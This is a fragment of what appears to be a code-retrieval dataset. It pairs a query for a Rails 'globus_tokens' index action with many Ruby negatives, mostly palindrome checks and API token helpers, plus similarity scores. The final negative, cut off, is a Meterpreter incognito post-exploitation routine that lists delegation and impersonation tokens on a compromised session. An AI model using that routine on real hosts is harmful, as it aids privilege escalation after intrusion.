string.downcase.gsub(/\\W/, \"\")\n return (s == s.reverse)\nend", "def palindrome?(str)\n flat_str = str.gsub /[\\W+]/, ''\n reverse_str = flat_str.reverse\n if reverse_str.downcase! == flat_str.downcase!\n return true\n end\n return false\nend", "def palindrome?(str)\n puts str\n return str.downcase.gsub(/[^a-z]/, '') == str.downcase.gsub(/[^a-z]/, '').reverse\nend", "def palindrome?(str)\n downcased_str = str.downcase\n nospaced_str = downcased_str.gsub(/\\W+/,\"\")\n reversed_str = nospaced_str.reverse\n return nospaced_str == reversed_str\nend", "def palindrome?(str)\n str = str.gsub /[^0-9A-Za-z]/, ''\n return str.reverse.upcase == str.upcase\nend", "def palindrome?(str)\n # YOUR CODE HERE\n str = str.downcase().gsub(/[^a-zA-Z]/, \"\") \n return str.reverse == str\n ## Done\nend", "def is_palindrome(s)\n new_str = \"\"\n \n s.each_char do |char|\n new_str << char.downcase if char.downcase != char.upcase || char == char.to_i.to_s\n end\n \n front_idx = 0\n back_idx = new_str.length - 1\n \n until front_idx > back_idx\n return false if new_str[front_idx] != new_str[back_idx]\n front_idx += 1\n back_idx -= 1\n end\n true\nend", "def palindrome?(str)\n temp = str.upcase.gsub(/[^a-zA-Z]/,'')\n temp == temp.reverse\nend", "def real_palindrome?(werd)\n werd.delete(\" \").gsub(/[^A-Za-z0-9 ]/, '').downcase == werd.delete(\" \").gsub(/[^A-Za-z0-9 ]/, '').reverse.downcase\nend", "def palindrome?(string)\n\tstring.downcase!\n\tstring.gsub!(/\\W+/, '')\n\tputs string\n\tif string === string.reverse\n\t\tputs \"true\"\n\telse\n\t\tputs \"false\"\n\tend\nend", "def palindrome_word?(word)\n word.downcase === word.downcase.reverse ? true : false\n end", "def palindrome(str)\n stripped = str.gsub(/[^\\w]/, \"\").downcase\n if stripped === str.reverse\n return true\n else\n return false\n end\nend", "def palindrome?(string)\n string_forward = string.downcase.gsub(/[^a-z]/, '')\n string_backwards = string.reverse.downcase.gsub(/[^a-z]/, '')\n \n trace \"#{string_forward} == #{string_backwards}\"\n \n return string_forward == string_backwards\nend", "def palindrome?(word)\n array_of_letters = word.downcase.split(\"\")\n count_front = 0\n count_back = word.length - 1\n # Match the first letter with the last, if they are the same then step through the word\n while count_front < count_back\n if array_of_letters[count_front] == array_of_letters[count_back]\n count_front += 1\n count_back -= 1\n else\n return false\n end\n end\n return true\nend", "def palindrome_word?(word)\n return true if word.reverse.upcase == word.upcase\n false\nend", "def palindrome?(sentence)\n \n a = sentence.downcase.gsub(/ /, \"\") \n if a == a.reverse\n return true\n else \n return false\n end\n \nend", "def palindrome_check(my_phrase)\r\n string_fixed = my_phrase.split.join\r\n first_position = 0\r\n last_position = string_fixed.length - 1\r\n\r\n while first_position != last_position\r\n\r\n case\r\n when string_fixed[first_position] != string_fixed[last_position]\r\n return false\r\n exit\r\n when string_fixed[first_position] == string_fixed[last_position]\r\n first_position += 1\r\n last_position -= 1\r\n end\r\n return true\r\n end\r\nend", "def is_palindrome?(word)\n if word == word.reverse\n return true\n else\n return false\n end\nend", "def palindrome?(word)\n word == word.reverse\nend", "def isPalindrome (s)\n return s.gsub(/\\s+/, \"\") == s.gsub(/\\s+/, \"\").reverse\nend", "def palindrome string #func param: string, name: palindrome\n string = string.downcase.scan(/\\w/) #make sure the value is lower case\n string == string.reverse #see if it equals its reverse, and return as boolean statement \nend", "def palindrome?(s)\n s1 = s.sub(' ', '').downcase\n s2 = s1.reverse\n\n if s2 == s1 \n true\n else\n false\n end\n\nend", "def palindrome_word? str\n new_str = str.downcase\n if new_str == new_str.reverse\n true\n else\n false\n end\nend", "def real_palindrome?(string)\n string = string.downcase.gsub(/[^0-9a-z]/i, '')\n string == string.reverse\nend", "def palindrome?(str)\n\tletters=string.strip.downcase.gsub(/\\W/, '');\n\tletters == letters.reverse\nend", "def palindrome?\n processed_content = self.content.downcase\n processed_content == processed_content.reverse\n end", "def real_palindrome?(str)\n str.downcase.delete('^a-z0-9').reverse== str.downcase.delete('^a-z0-9')\nend", "def palindrome?(string)\n y = string.downcase.gsub(/\\W/, '')\n y == y.reverse\nend", "def palindrome?(word)\n return word.downcase == word.downcase.reverse\nend", "def palindrome?(string)\n\n clean = string.downcase.gsub(/[^a-z]+/,\"\")\n clean == clean.reverse\n\nend", "def palindrome?\n #can also be written as processed_content = @content.downcase\n processed_content == processed_content.reverse\n end", "def palindrome?(str)\n str2 = str.downcase.gsub(/[^a-z]/, '')\n str2.reverse == str2\nend", "def palindrome?(string)\n\n clean_string = string.downcase.gsub(/[^a-z]/, '') #remove anything that is not a letter\n puts clean_string.reverse == clean_string\n\nend", "def is_palindrome(word)\n\t# too easy\n # return word == word.reverse\n \tidxReverse = word.length-1\n \tidxForward = 0\n \twhile(idxForward<idxReverse)\n if(word[idxForward] != word[idxReverse])\n return false\n end\n idxReverse -=1\n idxForward +=1\n end\n return true\n \t\nend", "def palindrome(word)\n\treturn word == word.reverse #true\nend", "def is_palindrome(word)\n forward = 0\n backword = word.length - 1\n while forward <= backword\n if word[forward] != word[backword]\n return false\n end\n forward += 1\n backword -= 1\n end\n return true\nend", "def palindrome_word?(word)\n # determines whether a single word is a palindrome\n # ignores case\n # returns true or false\n if word.downcase == word.downcase.reverse\n true\n else false\n end\n\nend", "def palindrome_word? word8\n word8.downcase == word8.downcase.reverse\nend", "def is_palindrome_permutation?\n self.gsub!(/\\s+/,\"\")\n return self == self.reverse\n end", "def palindrome?(word)\n lol = (word.gsub(/\\W+/i, \"\")).gsub(/\\d+/i, \"\")\n if lol.downcase == lol.downcase.reverse\n return true;\n else\n return false;\n end\nend", "def is_palindrome(word)\n word == word.reverse ? true : false\nend", "def real_palindrome?(str)\n string = str.downcase.gsub(/[^0-9a-z]/i, '')\n string == string.reverse\nend", "def palindrome?(str)\n\ttempStr = str.gsub(/\\W/,'').downcase\n\treturn tempStr == tempStr.reverse\nend", "def palindrome?(sentence)\n dw_sentence = sentence.downcase.delete(' ')\n return dw_sentence == dw_sentence.reverse\nend", "def real_palindrome?(value)\n # value.gsub!(/[^0-9a-z]/i, '')\n # value.downcase!\n value = value.downcase.delete('^0-9a-z')\n value == value.reverse\nend", "def palindrome?(str)\n treated_str = str.gsub(/[^\\w]/,'')\n return treated_str.downcase == treated_str.downcase.reverse\nend", "def real_palindrome?(string)\n arr = []\n string.chars.each do |char| arr << char if ('a'..'z').include?(char) || ('A'..'Z').include?(char)\n end\n clean_str = arr.join\n clean_str.downcase == clean_str.downcase.reverse\nend", "def palindrome?(str)\n s = str.gsub(/[^a-zA-Z]*/, '').to_s.downcase\n s.reverse == s\n # YOUR CODE HERE\nend", "def palindrome?(str)\n str.downcase! #downcase and bang\n str.gsub!(/\\W/, \"\") #regex remove non-word chars and digits\n str == str.reverse #tests 2 strings are identical\nend", "def palindrome?(string)\n\ttemp = string.downcase.gsub(/\\W/, '')\n\tout = temp.eql? temp.reverse\n\tputs \"Input: \" + string\n\tputs \"output: \" + out.to_s\n\tputs \"\"\nend", "def real_palindrome?(str)\n str = str.downcase.delete('^a-z0-9')\n str == str.reverse\nend", "def real_palindrome?(str)\n str = str.downcase.delete('^a-z0-9')\n str == str.reverse\nend", "def real_palindrome?(string)\n new_string = string.gsub(/[^0-9a-z]/i, '').downcase\n new_string == new_string.reverse\nend", "def real_palindrome?(string)\n string.downcase.delete('^a-z0-9') == string.downcase.delete('^a-z0-9').reverse\nend", "def palindromo? sentence\n\tsentence.downcase.gsub(\" \",\"\")reverse==sentence.downcase.gsub(\" \",\"\")\nend", "def palindrome?(txt)\n txt == txt.reverse\nend", "def palindrome?(str)\n only_letters = str.gsub(/\\W/, '').downcase\n only_letters == only_letters.reverse\nend", "def palindrome?(sentence)\n clean_sentence = sentence.downcase.gsub(/\\W/, \"\")\n clean_sentence == clean_sentence.reverse\nend", "def palindrome?(string)\n\tputs string\n\tstring.downcase!\n\tstring = string.gsub(/\\W+/, '')\n\tif string === string.reverse\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend", "def palindrome?(case_matters=true)\n letters_only(case_matters) == letters_only(case_matters).reverse\n end", "def palindrome?(str)\n\tcorestr = str.downcase.gsub(/[^0-9a-z]*/,'')\n\tcorestr == corestr.reverse\nend", "def palindrome?(string)\n string = string.gsub(/[^a-z]/i, '')\n string.downcase == string.downcase.reverse\nend", "def palindrome?(string)\n string = string.downcase\n string = string.gsub(' ', '')\n if string == string.reverse\n return true\n else\n return false\n end\nend", "def palindrome_sentence? string1\n asdf = string1.gsub(/[^a-z]/i, \"\").downcase\n asdf.reverse == asdf\n end", "def real_palindrome?(string)\n\n\tletters = ''\n\n\tstring.downcase.chars.each do |char|\n\t\tif ('a'..'z').to_a.include?(char)\n\t\t\tletters << char\n\t\telsif ('0'..'9').to_a.include?(char)\n\t\t\tletters << char\n\t\tend\n\tend\n\n\tletters == letters.reverse\n\nend", "def palindrome?(str)\n letters = str.downcase.scan(/\\w/)\n letters == letters.reverse\nend", "def real_palindrome?(string)\n palindrome?(string.downcase.gsub(/\\W/, ''))\nend", "def is_palindrome(aString)\n return false if aString == nil\n #positive side = a = 0\n #negative side = y = -1\n temp_word = aString.gsub(/(\\W|\\d)/, \"\").downcase\n\n i = 0\n a = -1\n word = temp_word.chars\n while i < (word.length / 2)\n # check chars are the same\n # if same, move to next set of chars\n # if different, return false \n # when processed all chars and still haven't found a difference, return true\n if word[i] == word[a]\n a -= 1\n i += 1\n else\n return false\n end\n end\n return true\nend", "def real_palindrome?(string)\n new_string = string.downcase.delete('^a-Z0-9')\n new_string == new_string.reverse\nend", "def palindrome?(string)\r\n string.reverse == string\r\nend", "def palindrome?(string)\r\n string.reverse == string\r\nend", "def palindrome?(string)\r\n string.reverse == string\r\nend", "def palindrome?(input)\n input.to_s == input.to_s.reverse\nend", "def palindrome?(str)\n str.reverse == str\nend", "def palindrome?(str)\n str.reverse == str\nend", "def palindrome?(str)\n str.reverse == str\nend", "def palindrome?(str)\n str.reverse == str\nend", "def palindrome_word? word\n if word.length === 1\n return true\n end\n lower = word.downcase\n num = (lower.length/2.0).floor\n num.times do |x|\n if lower[x] == lower[-(x+1)]\n if x == num - 1\n return true\n end\n next\n else\n return false\n end\n end\nend", "def palindrome(string)\n string.downcase.split(/\\W+/).join('') == string.downcase.split(/\\W+/).join('').reverse\nend", "def is_palindrome?(n)\n n.to_s == n.to_s.reverse!\nend", "def palindrome_sentence? sentence\n output = sentence.gsub(/[^a-z]/i, \"\").downcase\n output.reverse == output\nend", "def real_palindrome?(str)\n str.downcase!\n arr = [*'0'..'9', *'a'..'z']\n str = str.chars.select { |x| arr.include?(x) }\n str == str.reverse\nend", "def Palindrome(str)\n str = str.gsub(\" \", \"\")\n front = 0\n back = str.length - 1\n \n while front < back\n if str[front] != str[back]\n return \"false\"\n end\n front += 1\n back -= 1\n end\n \n return \"true\"\nend", "def palindrome(words)\n words == words.reverse\nend", "def is_palindrome? string\n string == string.reverse\nend", "def is_palindrome? string\n string == string.reverse\nend" ]
[ "0.8517853", "0.8423482", "0.8407959", "0.8342055", "0.833046", "0.8328235", "0.8316713", "0.8308034", "0.83056885", "0.83041453", "0.83016706", "0.8295299", "0.8279736", "0.8277247", "0.8272708", "0.8271468", "0.8257173", "0.8254461", "0.8243656", "0.8239175", "0.82341474", "0.8231361", "0.82276297", "0.8226665", "0.82133365", "0.8209437", "0.82072735", "0.82072175", "0.8201984", "0.8200185", "0.8195902", "0.81924605", "0.81885755", "0.8183652", "0.81825113", "0.8170737", "0.8170662", "0.8161898", "0.8161062", "0.81587213", "0.8155873", "0.81528986", "0.81510216", "0.8146988", "0.81441987", "0.8140394", "0.81397545", "0.81315005", "0.81299585", "0.81293684", "0.81202024", "0.8117945", "0.8109666", "0.81092167", "0.81037235", "0.8103074", "0.81021166", "0.81021065", "0.8101446", "0.80988675", "0.8094264", "0.8093358", "0.8092561", "0.80891126", "0.8086644", "0.80838114", "0.80838114", "0.8079352", "0.80766", "0.80744123", "0.80738604", "0.8071076", "0.8065906", "0.8059249", "0.8057637", "0.8052963", "0.8040984", "0.8039548", "0.80338675", "0.8028664", "0.80270183", "0.8022576", "0.8021429", "0.8020352", "0.80123097", "0.80123097", "0.80123097", "0.8007268", "0.80051094", "0.80051094", "0.80051094", "0.80051094", "0.80048156", "0.80014986", "0.7997631", "0.7991518", "0.79909724", "0.79908615", "0.7988228", "0.79871726", "0.79871726" ]
0.0
-1
GET /globus_tokens or /globus_tokens.json
def index @globus_tokens = GlobusToken.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def token\n @api.get(\"#{Paths::TOKENS}\")\n end", "def fetchTokens\n self.class.request.get \"#{id}/tokens\" \n end", "def get_token\n get(TOKEN_URL)\n end", "def index \n @tokens = @user.tokens\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tokens }\n end\n end", "def fetch_token\n response = RestClient.get \"https://#{Autoscout24Client.config[:username]}:#{Autoscout24Client.config[:password]}@sts.idm.telekom.com/rest-v1/tokens/odg\", {:accept => :json}\n JSON.parse(response)[\"token\"]\n end", "def rest_token_endpoint; end", "def index\n # This should possibly get the latest user's token if has user and user has many tokens.\n respond_to do |format|\n format.json { render json: {success: true, authentication: @api_token.to_api}, callback: params[:callback] }\n end\n end", "def tokens_path\n @tokens_path || \"/requests/tokens/\"\n end", "def gettoken(url,username,password,tenant)\n url1 = \"#{url}/identity/api/tokens\"\n uri = URI.parse(url1)\n request = Net::HTTP::Post.new(uri)\n request.content_type = \"application/json\"\n request[\"Accept\"] = \"application/json\"\n request.body = JSON.dump({\n \"username\" => username,\n \"password\" => password,\n \"tenant\" => tenant\n })\n\n req_options = {\n use_ssl: uri.scheme == \"https\",\n verify_mode: OpenSSL::SSL::VERIFY_NONE,\n }\n\n response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n http.request(request)\n end\n\n token_output = response.body\n token_json = JSON.parse(token_output)\n vra_token = token_json[\"id\"]\n return vra_token\n end", "def index\n @tokens = Token.all\n\n render json: @tokens\n end", "def get_tokens(options = {})\n submit GetTokens.new(options)\n end", "def get(url)\n login unless token\n response = client.request(request(url, token))\n end", "def get_token(url)\n req = Net::HTTP::Post.new('/', initheader = {'Content-Type' => 'application/json'})\n req.body = {url: url, format: 'json'}.to_json\n res = @http.request(req)\n data = JSON::parse(res.body)\n data['trunct']['token']\n end", "def api_token\n client.get(\"/user/api_token\").fetch(\"result\")\n end", "def token(request)\n end", "def fetch_access_token\n JSON.parse(File.read('/opt/gluu-server/etc/certs/api_token.json'))['token']\n end", "def token_uri; end", "def get_token(params={})\n client.post( GET_TOKEN_URL, body: parse_request_body(params) )\n end", "def get(*args)\n token.get(*args)\n end", "def index\n auth_response = plaid_client.auth.get(access_token)\n render json: auth_response.to_json\n end", "def get_token_response(url)\n JSON.parse(access_token.get(\"/#{api_version}#{url}\").body)\n end", "def get_token\n with_monitoring do\n perform(:post, \"/#{config.base_path}/token\", {}, token_headers)\n end\n end", "def show\n render json: @token\n end", "def get_token\n request.headers[\"Authorization\"]\n end", "def get_token\n token_data = vault_read('littlered.stanford.edu', 'netdb-token')\n credentials = JSON.parse(token_data)\n encoded = Base64.urlsafe_encode64(\"#{credentials['client_id']}:#{credentials['client_secret']}\")\n headers = { Authorization: \"Basic #{encoded}\" }\n query = { grant_type: credentials['grant_type'] }\n response = HTTParty.post(credentials['token_endpoint'],\n :headers => headers,\n :query => query\n )\n raise \"Bad response to getting token: #{response.body}\" if response.code != 200\n\n response_json = JSON.parse(response.body)\n response_json['access_token']\nend", "def get_token\n LastFM.get( \"auth.getToken\", {}, :secure )\n end", "def request_token\n @token=current_client_application.create_request_token\n if @token\n render :text=>@token.to_query\n else\n render :nothing => true, :status => 401\n end\n end", "def token\n validate_arguments!\n\n display Turbot::Auth.api_key\n end", "def get_tokens\n resource = \"/oauth/access_token\"\n\n begin\n response = @connection.post resource do |request|\n request.params['client_id'] = @api_key\n request.params['client_secret'] = @secret_key\n request.params['grant_type'] = @grant_type\n request.params['scope'] = 'SPEECH,STTC,TTS'\n end\n\n result = process_response(response)\n\n if result[:access_token].nil? || result[:refresh_token].nil?\n raise RuntimeError, \"Unable to complete oauth: #{response[:error]}\"\n else\n @access_token = result[:access_token]\n @refresh_token = result[:refresh_token]\n end\n rescue => e\n raise RuntimeError, e.to_s\n end\n end", "def get(opts = {})\n with_monitoring do\n connection.get(opts[:path]) do |req|\n req.headers = headers.merge('Authorization' => \"Bearer #{opts[:access_token]}\")\n end\n end\n end", "def request_token\n @token = current_client_application.create_request_token\n if @token\n render :text => @token.to_query\n else\n render :nothing => true, :status => 401\n end\n end", "def show\n render :json => @token\n end", "def get(path, params={}, args={})\n inject_token_auth_headers!(args)\n response = self.class.get(request_url(path, params), args)\n update_token_auth_headers(response)\n return response\n end", "def http_get_token\n #verifico che stia arrivando un jwt con formato valido,altrimenti ritorno false\n if params['jwt'].present? && !(params['jwt'] =~ /^[A-Za-z0-9\\-_=]+\\.[A-Za-z0-9\\-_=]+\\.?[A-Za-z0-9\\-_.+=]*$/).nil?\n @http_get_token ||= params['jwt']\n else\n false\n end\n \n end", "def token\n authenticated\n end", "def get(resource:, version: :v1)\n http = http_handle(version: version)\n\n req = Net::HTTP::Get.new(uri_path_for(resource: resource, version: version))\n SET_REQUEST_AUTH_TOKEN.call(req)\n\n handle_response(http.request(req))\n end", "def show\n @token = Token.find(params[:id])\n\n render json: @token\n end", "def getTokenForSong(songID, country)\n request('getTokenForSong', {'songID' => songID, 'country' => country})\nend", "def check_token(token)\n params = \"token=#{token}&md5=#{Ivona::GetMd5.formula(token)}\"\n HTTParty.get(\"#{BASE_URL}/tokens?#{params}\")\n end", "def token\n session = Session.find_by(id: params[:id])\n token = @@opentok.generate_token(session.session_id)\n render :json => { OtToken: token }\n end", "def list_users_for_all_tenants(args = {}) \n get(\"/users.json/global\", args)\nend", "def list_users_for_all_tenants(args = {}) \n get(\"/users.json/global\", args)\nend", "def token\n request.headers[\"Authorization\"]\n end", "def token\n request.headers['Authorization']\n end", "def get_token(options)\n\t\tmethod = \"GET\"\n\t\tendpoint = \"auditlogtoken\"\n\t\turi = ApiUri::build_uri(endpoint, options)\n\t\treturn @client.request_json(method, uri)\n\tend", "def token\n end", "def get(path, query_values = nil)\n url = path_to_url(path, query_values)\n access_token.get(url)\n end", "def get(path, data = {})\n self.class.get path, :query => data.merge(:u => access_token)\n end", "def call_introspection_api(token, scopes, subject)\n return call_api(\"/api/auth/introspection\", {\n \"token\" => token,\n \"scopes\" => scopes,\n \"subject\" => subject\n })\nend", "def get_token(opts={})\n opts[:params] ||= {}\n opts[:params][:grant_type] = grant_type\n opts[:authenticate] ||= :headers\n method = opts.delete(:method) || :post\n make_request(method, @token_path, opts)\n end", "def get_token\n session[:token] if authorized?\n end", "def token\n\n authenticate_with_http_basic do |email, password|\n user = User.find_by(email: email)\n if user && user.authenticate(password) \n render json: { token: user.api_token }\n else\n render json: { error: 'Incorrect credentials' }, status: 401\n end\n\n end\n end", "def fetch_token_details\n\n token_resp = Util::EntityHelper.fetch_and_validate_token(@client_id, 'a_s_tm_gtdbs')\n\n # as the above method would return error if token was not found.\n # it is a valid scenario here, this ignoring error\n @token = token_resp.data\n\n success\n\n end", "def set_globus_token\n @globus_token = GlobusToken.find(params[:id])\n end", "def token\n authenticate_with_http_basic do |username, password|\n\n user = User.find_by(username: username)\n if user && user.password == password\n render json: { token: user.token }\n else\n render json: { error: 'Incorrect credentials' }, status: 401\n end\n\n end\n end", "def index\n authorize TokenPermissionType\n @user = current_user\n @token_types = @user.org.token_permission_types\n end", "def token\n authenticate_username_password || render_unauthorized\n end", "def signed_get_request url\n token=jwt_get_signature url\n HTTParty.get('http://localhost:5000'+url,\n headers:{\n \"Authorization\"=>\"JWT token=\\\"#{token}\\\"\",\n \"Content-Type\"=> \"application/json;charset=utf-8\"\n }\n )\n end", "def obtain_tokens(fqdn, client_id, client_secret, scope, tokens_file)\n read_tokens(tokens_file)\n \n response = RestClient.post \"#{fqdn}/oauth/access_token\", :grant_type => 'client_credentials', :client_id => client_id, :client_secret => client_secret, :scope => scope\n\t\n from_json = JSON.parse(response.to_str)\n @access_token = from_json['access_token']\n @refresh_token = from_json['refresh_token']\n write_tokens(tokens_file)\nend", "def list_tokens(login)\n raise ArgumentError, 'Missing required parameters' if login.nil?\n\n get('/api/user_tokens/search', query: { login: login })\n end", "def token_url\n params[:url] + (params[:token_path] || '/token')\n end", "def get_tokens\n\t\tresource = \"/oauth/access_token\"\n\t\t\n\t\tbegin\n\t\t\tresponse = @connection.post resource do |request|\n\t\t\t\trequest.params['client_id'] = @api_key\n\t\t\t\trequest.params['client_secret'] = @secret_key\n\t\t\t\trequest.params['grant_type'] = @grant_type\n\t\t\t\trequest.params['scope'] = @scope\n\t\t\tend\n\t\t\t\n\t\t\tresult = process_response(response)\n\t\t\t\n\t\t\tif result[:access_token].nil? || result[:refresh_token].nil?\n\t\t\t\traise RuntimeError, \"Unable to complete oauth: #{response[:error]}\"\n\t\t\telse \n\t\t\t\t@access_token = result[:access_token]\n\t\t\t\t@refresh_token = result[:refresh_token]\n\t\t\tend\n\t\trescue => e\n\t\t\traise RuntimeError, e.to_s\n\t\tend\n\tend", "def api_call(path)\n uri = URI(\"#{BASE}/api/#{path}?authorization_username=#{USER}\")\n req = Net::HTTP::Get.new(uri)\n req['Authorization'] = \"Bearer #{TOKEN}\"\n\n res = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) do |http|\n http.request(req)\n end\n\n unless res.is_a?(Net::HTTPSuccess)\n puts res.inspect\n exit\n end\n\n return JSON.parse(res.body)\nend", "def token\n authenticate_username_password || render_unauthorized\n end", "def show\n registry = Registry.find_by(hostname: params[\"service\"])\n raise RegistryNotHandled if registry.nil?\n\n auth_scope = authorize_scopes(registry)\n\n @token = JwtToken.new(\n account: params[:account],\n service: params[:service],\n scope: auth_scope\n )\n\n logger.tagged(\"jwt_token\", \"claim\") { logger.debug @token.claim }\n respond_with(@token)\n end", "def getToken\n @tokens\n end", "def tokens_for_babysitter\n tokens_for_request(self.request)\n end", "def do_token(params, clientId, clientSecret)\n # Call Authlete's /auth/token API.\n response = call_token_api(params, clientId, clientSecret)\n\n # The content of the response to the client.\n content = response[\"responseContent\"]\n\n # \"action\" denotes the next action.\n case response[\"action\"]\n when \"INVALID_CLIENT\"\n # 401 Unauthorized\n # Client authentication failed.\n return WebResponse.new(401, content).json\\\n .wwwAuthenticate(\"Basic realm=\\\"/token\\\"\").to_response\n\n when \"INTERNAL_SERVER_ERROR\"\n # 500 Internal Server Error\n # The API request from this implementation was wrong\n # or an error occurred in Authlete.\n return WebResponse.new(500, content).json.to_response\n\n when \"BAD_REQUEST\"\n # 400 Bad Request\n # The token request from the client was wrong.\n return WebResponse.new(400, content).json.to_response\n\n when \"PASSWORD\"\n # Process the token request whose flow is\n # \"Resource Owner Password Credentials\".\n return handle_password(response)\n\n when \"OK\"\n # 200 OK\n # The token request from the client was valid. An access\n # token is issued to the client application.\n return WebResponse.new(200, content).json.to_response\n\n else\n # This never happens.\n return WebResponse.new(500, \"Unknown action\").plain.to_response\n end\nend", "def get_user_tokens(code)\n request = Typhoeus::Request.new(\n TOKEN_ENDPOINT,\n method: :post,\n body: {\n 'grant_type' => \"authorization_code\",\n 'client_id' => ID,\n 'client_secret' => SECRET,\n 'code' => code\n },\n headers: {\n 'Api-Key' => ID\n })\n request.run\n end", "def get_token\n response = wrap_response(\n @connection.get(TOKEN_PATH, nil)\n )\n\n response.fmap { |r|\n SftpgoClient::Token.new(r.body)\n }\n end", "def token; config[:token]; end", "def token_get()\n\t\tputs \"Here is the token \" + @token\n\tend", "def get_token(type, page_titles)\n form_data = {'action' => 'query', 'prop' => 'info', 'intoken' => type, 'titles' => page_titles}\n res, dummy = make_api_request(form_data)\n token = res.elements[\"query/pages/page\"].attributes[type + \"token\"]\n raise Unauthorized.new \"User is not permitted to perform this operation: #{type}\" if token.nil?\n token\n end", "def rest_token_endpoint=(_arg0); end", "def get_token\n # Get the user by email\n user = User.find_by_email(params[:email])\n \n # return unauthorized if the user was not found\n if !user \n render json: { error: 'unauthorized' }, status: :unauthorized\n return\n end\n \n # if the user is not authenticated via the authenticate method\n # then return unauthorized\n if !user.authenticate( params[:password] )\n render json: { error: 'unauthorized' }, status: :unauthorized\n return\n end\n \n # if our code gets here, we can generate a token and response.\n # JWT's include an expiry, we will expire the token in 24 hours\n token = jwt_encode({user_id: user.id}, 24.hours.from_now)\n render json: {token: token, exp: 24, username: user.email, userId: user.id},\n status: :ok\n \n end", "def get(path, params = {})\n response = access_token.get(path + '?' + params.to_param, header)\n parse_response(response)\n end", "def rest_token_end_point; end", "def request_token\n username = @credentials['username']\n password = @credentials['password']\n # app_name = @credentials['app_name']\n app_name = @credentials['app_name']\n vendor_name = @credentials['vendor_name']\n bus_num = @credentials['bus_num']\n scope = @credentials['scope']\n\n payload_hash = {\n 'grant_type' => 'password',\n 'username' => username,\n 'password' => password,\n 'scope' => scope\n }\n\n # The user name for inContact's API takes the form\n # app_api_name = \"#{app_name}\" + \"@\" + \"#{vendor_name}\" + \":\" + \"#{bus_num}\"\n api_app_name = \"#{app_name}\" + \"@\" + \"#{vendor_name}\"\n\n puts \"Authorizing... \\n\"\n\n # Specify token URL.\n url = URI('https://api.incontact.com/InContactAuthorizationServer/Token')\n # url = URI('https://api-c71.nice-incontact.com/InContactAuthorizationServer/Token')\n\n # Create connection object\n connection = Net::HTTP.new(url.host, url.port)\n # At *work*:\n # connection = Net::HTTP.new(url.host, url.port, 'asqproxy.vzbi.com', 80)\n # For *Fiddler*\n # connection = Net::HTTP.new(url.host, url.port, '127.0.0.1', 8888)\n\n connection.use_ssl = true\n # Uncomment the following line to tell Ruby to ignore invalid security certs.\n # connection.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n # Create post object\n post = Net::HTTP::Post.new(url)\n\n # OAuth 2 token requests are usually the 'user' + 'pass' base64 encoded\n post.basic_auth(api_app_name, bus_num)\n\n # get the POST post _fileheaders\n # post['Content-Type'] = 'audio/flac'\n post['Content-Type'] = 'application/json; charset=UTF-8'\n post['Accept'] = 'application/json'\n # \"Accept-Encoding\" => \"gzip, deflate, sdch, br\",\n post['Accept-Encoding'] = 'none'\n post['Connection'] = 'keep-alive'\n\n # Prepare the HTTP message body to be posted with the request.\n # Convert the payload_hash hash to a json string.\n payload = payload_hash.to_json\n # It will be the message body (payload) of the HTTP post.\n post.body = payload\n\n # Make the HTTP post request and store the response.\n # The 'begin' & 'rescue' is an aborted attempt to put\n # error/exception handling around the http post\n # *begin*\n # *rescue* StandardError\n # *end*\n response = connection.request(post)\n\n # http_status_code = response.code.to_i\n http_status_code = response.code.strip\n if http_status_code.chr != '2'\n # Show me http status code\n puts \"/n http_status_code: #{http_status_code}\"\n end\n\n if response.is_a?(Net::HTTPSuccess)\n puts \"response is a Net::HTTPSuccess object\"\n # if response is OK then parese it to a Ruby data structure\n access_token_hash = JSON.parse(response.body)\n # access_token = access_token_hash['access_token']\n end\n\n access_token_hash\n end", "def request_token\n request = { query: { code: ENV['GOOGL_CODE'], \n client_id: ENV['GOOGL_CLIENT_ID'], \n client_secret: ENV['GOOGL_CLIENT_SECRET'],\n redirect_uri: ENV['GOOGL_REDIRECT_URI'],\n grant_type: \"authorization_code\" } }\n\n result = self.class.post(\"/oauth2/v3/token\", request)\n\n result.parsed_response\n end", "def index\r\n user = authenticate\r\n if user\r\n clients = Client.where('clientof = ?', user.id)\r\n render json: {clients: clients, message: 'Success', status: :ok}\r\n else\r\n render json: {message: 'Invalid token', status: :unauthorized}\r\n end\r\n end", "def tokeninfo(token)\n $client.authorization.update_token!(token)\n oauth2 = $client.discovered_api('oauth2','v2')\n\n puts $client.execute(oauth2.tokeninfo, token).response.body\nend", "def token\n @data[:token]\n end", "def token\n identity = Faker::Internet.user_name.gsub(/[^0-9a-z_]/i, '')\n\n capability = Twilio::Util::Capability.new ENV['TWILIO_ACCOUNT_SID'], ENV['TWILIO_AUTH_TOKEN']\n # The Twilio \n capability.allow_client_outgoing ENV['TWILIO_TWIML_APP_SID']\n capability.allow_client_incoming identity\n token = capability.generate\n\n render json: {identity: identity, token: token}\n end", "def test_authentication\n load_token\n return false if !@token || @token.empty?\n res = get '/'\n !res.key?('error')\n end", "def token\n client.token if client\n end", "def expose_token\n @token = ApiToken.where(code: params[:token]).first\n end", "def get_token\n return_code, response = send_command(\"get_token\", api_key)\n return response[\"token\"] if return_code == \"200\"\n raise ArgumentError, response[\"error\"]\n end", "def listtokens(session)\n\tbegin\n\t\tprint_status(\"Getting Tokens...\")\n\t\tdt = ''\n\t\tsession.core.use(\"incognito\")\n\t\ti = 0\n\t\tdt << \"****************************\\n\"\n\t\tdt << \" List of Available Tokens\\n\"\n\t\tdt << \"****************************\\n\\n\"\n\t\twhile i < 2\n\t\t\ttokens = session.incognito.incognito_list_tokens(i)\n\t\t\tif i == 0\n\t\t\t\ttType = \"User\"\n\t\t\telse\n\t\t\t\ttType = \"Group\"\n\t\t\tend\n\t\t\tdt << \"#{tType} Delegation Tokens Available \\n\"\n\t\t\tdt << \"======================================== \\n\"\n\n\t\t\ttokens['delegation'].each_line{ |string|\n\t\t\t\tdt << string + \"\\n\"\n\t\t\t}\n\n\t\t\tdt << \"\\n\"\n\t\t\tdt << \"#{tType} Impersonation Tokens Available \\n\"\n\t\t\tdt << \"======================================== \\n\"\n\n\t\t\ttokens['impersonation'].each_line{ |string|\n\t\t\t\tdt << string + \"\\n\"\n\t\t\t}\n\t \t\ti += 1\n\t \t\tbreak if i == 2\n\t\tend\n\t\tprint_status(\"All tokens have been processed\")\n\trescue ::Exception => 